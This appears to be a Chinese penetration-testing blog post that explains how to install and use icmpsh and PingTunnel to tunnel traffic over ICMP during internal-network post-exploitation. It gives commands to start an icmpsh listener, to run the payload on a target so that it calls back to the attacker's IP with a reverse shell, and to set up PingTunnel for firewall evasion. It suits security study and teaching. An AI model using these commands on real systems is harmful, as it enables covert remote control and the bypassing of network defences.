icmpsh、PingTunnel--安装、使用

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

在我的上一篇文章中,介绍了内网后渗透攻击--隐藏通信隧道技术(网络层隧道技术)-CSDN博客

网络层隧道技术相关技术点,那么现在就要介绍相关工具的使用,这里我们主要介绍两个工具。一个是icmpsh,另一个PingTunnel,这两个工具主要是ICMP隧道工具,接下来详细介绍这两个工具

一、icmpsh

1、工具介绍

icmpsh 是一款基于 ICMP 协议实现的反向 shell 工具,主要用于网络渗透测试中建立隐蔽的命令行连接。其核心特点是利用 ICMP 协议(即 ping 命令所依赖的网络层协议)传输数据,而非传统的 TCP/UDP 端口,因此能绕过部分仅限制端口的防火墙规则(许多网络环境默认允许 ICMP 流量通过)。

在渗透测试场景中,当目标主机的 TCP/UDP 端口被严格封锁,但 ICMP 协议未被过滤时,icmpsh 可作为突破网络限制、获取目标主机控制权的辅助工具。

2、工作原理

icmpsh 的核心原理是 "滥用" ICMP 协议的 Echo Request(请求,类型 8)和 Echo Reply(回复,类型 0)报文:

  1. 通信角色:分为 "攻击机"(控制端)和 "目标机"(被控端)。
  2. 命令传输
    • 攻击机向目标机发送ICMP Echo Request 报文 ,报文中嵌入需要执行的命令(如whoamiipconfig等)。
    • 目标机接收后,执行命令并将结果通过ICMP Echo Reply 报文返回给攻击机。
  3. 隐蔽性:由于 ICMP 协议本身用于网络诊断(如 ping 测试),其流量通常不被视为 "危险流量",因此不易被防火墙或入侵检测系统(IDS)拦截。
3、安装

下载地址:GitHub - bdamele/icmpsh: Simple reverse ICMP shell

icmpsh 主要通过 Python 脚本实现,需在攻击机(通常为 Linux)和目标机(支持 Windows/Linux)分别部署。

1. 攻击机(以 Linux 为例)

(1)依赖环境:需安装 Python 2.x(部分版本兼容 Python 3,建议优先用 Python 2)和python-impacket库(用于处理网络数据包)。

(2)下载工具:

复制代码
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket #安装python的impacket类库
pip install impacket  #此命令也行
cd icmpsh

(3)关闭系统自带的 ICMP 响应(避免系统默认 ping 回复干扰工具通信):

复制代码
# Linux系统
sysctl -w net.ipv4.icmp_echo_ignore_all=1
2. 目标机(以 Windows 为例)

(1)需准备 icmpsh 的 Windows 可执行文件(icmpsh.exe),可通过攻击机编译或直接下载预编译版本:

  • 从攻击机的icmpsh目录中,将icmpsh.exe(若不存在,可通过mingw32编译icmpsh.c生成)上传至目标机,也就是说将下载文件夹中的icmpsh.exe文件放在目标机,而其它放在攻击机
4、使用

攻击机 IP 为192.168.1.100,目标机 IP 为192.168.1.200

1. 攻击机操作(启动监听)

在攻击机的icmpsh目录中,运行sh文件,输入IP地址

复制代码
./run.sh

此时攻击机进入监听状态,等待目标机连接。

2. 目标机操作(主动连接)

在目标机上执行icmpsh.exe,指定攻击机 IP:

复制代码
# Windows命令行中运行
icmpsh.exe -t 192.168.1.100 -d 500 -b 32
  • 参数说明:-t指定攻击机 IP;-d设置延迟(毫秒);-b设置数据包大小(字节)。
3. 建立连接后

连接成功后,攻击机将获得目标机的命令行交互权限,可直接执行系统命令(如dirtasklist等),命令结果会通过 ICMP 报文返回。

此工具还是可以的,但是其工具有点久远了,其脚本还是使用python2编写的。

二、PingTunnel

1、工具介绍

PingTunnel 是一款基于 ICMP 协议(即 ping 命令所使用的网络协议)的流量封装工具,其核心功能是将 TCP/UDP 等其他协议的流量 "伪装" 成 ICMP Echo Request/Reply(ping 请求 / 应答)包进行传输,从而绕过部分网络环境中对 TCP/UDP 端口的限制(例如防火墙仅允许 ICMP 流量通过的场景)。

它常被用于以下场景:

  • 绕过网络防火墙对特定端口的封锁;
  • 在受限网络中建立隐蔽的通信通道;
  • 测试网络设备对 ICMP 流量的过滤规则。
2、工作原理

ICMP 协议是 TCP/IP 协议族的一部分,主要用于网络诊断(如 ping 命令检测主机可达性),通常网络设备对 ICMP 流量的限制较松。

PingTunnel 的工作原理如下:

  1. 客户端封装:客户端将需要传输的 TCP/UDP 数据(如 HTTP、SSH 流量)拆解后,封装到 ICMP Echo Request 包(ping 请求)的数据字段中,发送给服务器端;
  2. 服务器端解封装:服务器端接收 ICMP 包后,提取其中的 TCP/UDP 数据,转发到目标服务(如目标服务器的 80 端口、22 端口);
  3. 反向传输:目标服务的响应数据通过服务器端封装成 ICMP Echo Reply 包(ping 应答),回传给客户端,完成一次通信。

通过这种 "ICMP 封装" 机制,原本被限制的流量可借助 ping 包的形式绕过过滤规则.

3、安装

下载地址:Releases · esrrhs/pingtunnel · GitHub

PingTunnel 支持 Linux、Windows 等系统,以下是主流平台的安装方法:

1. Linux 系统(以 Ubuntu/Debian 为例)

需通过源码编译安装,依赖libpcap库(用于网络数据包捕获):

复制代码
# 安装依赖
sudo apt update && sudo apt install -y gcc make libpcap-dev

# 下载源码(官方仓库或第三方镜像)
git clone https://github.com/esrrhs/pingtunnel.git #下载的主要是go语言编写
cd pingtunnel


# 安装(可选,将可执行文件复制到系统路径)
sudo cp pingtunnel /usr/local/bin/
2. Windows 系统

可直接下载预编译的二进制文件(需从可信来源获取,如官方发布页),或通过 MinGW 编译源码:

  • 预编译版:下载pingtunnel.exe后,放入任意目录(如C:\tools),并将该目录添加到系统环境变量PATH中,即可在命令行直接调用。

这里我们就演示windows版本,如图所示

4、使用

PingTunnel 的使用需区分服务端(Server)客户端(Client),两者配合完成流量转发。

客户端通过 PingTunnel 访问服务端所在网络的80端口服务(apache2服务)。

  1. 服务端配置
    在linux启动服务端:

    Linux服务端

    ./pingtunnel -type server -key 123456
    参数说明:
    -type server:以服务端模式运行
    -key 123456:设置密码(纯数字,客户端需一致,增强安全性)
    无需额外指定-d和-dp(默认会根据客户端请求转发到目标地址,此处目标就是服务端自身 80 端口)

客户端配置

在本地客户端(如个人电脑)启动客户端,监听本地8080端口,连接服务端:

复制代码
./pingtunnel.exe -type client -l 192.168.0.104:8080 -s 172.19.214.174 -t 172.19.214.174:80 -tcp 1 -key 123456
参数说明
-type client:以客户端模式运行
-l 192.168.0.104:8080:客户端本地监听地址(之后访问此地址即可转发到服务端 80 端口)
-s 172.19.214.174:服务端 IP 地址(隧道的中间节点)
-t 172.19.214.174:80:目标地址(服务端自身的 80 端口)
-tcp 1:开启 TCP 转发(因为 80 端口是 TCP 服务)
-key 123456:与服务端一致的密码

使用转发通道

客户端本地应用连接192.168.0.104:8080,即可通过 PingTunnel 访问服务端80

ok,以上就是两款工具的使用介绍了,下一篇介绍传输层隧道技术。

相关推荐
人衣aoa8 小时前
PG靶机 - Pelican
web安全·网络安全·渗透测试·内网渗透
jieyu11191 个月前
内网后渗透攻击过程(实验环境)--2、权限提升
内网渗透·提权攻击
kp000002 个月前
Tunna工具实战:基于HTTP隧道的RDP端口转发技术
网络安全·内网渗透·安全工具
亿.63 个月前
[春秋云镜] Spoofing仿真场景
内网渗透·春秋云镜
亿.63 个月前
[[春秋云境] Privilege仿真场景
内网渗透·春秋云镜
Asymptote02133 个月前
【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
网络协议·信息安全·学习笔记·渗透·内网渗透·奇安信·kaliklinux
胡耀超3 个月前
内网渗透技术全面指南——安全业务视角(基于《内网渗透技术 (吴丽进、苗春雨 主编;郑州、雷珊珊、王伦 副主编)》)
linux·windows·安全·web安全·网络安全·内网渗透·安全治理
神经毒素4 个月前
WEB安全--内网渗透--Kerberos之AS_REQ&AS_REP
安全·web安全·内网渗透·kerbreos
神经毒素4 个月前
WEB安全--内网渗透--捕获NET-NTLMv2 Hash
安全·web安全·内网渗透·ntlm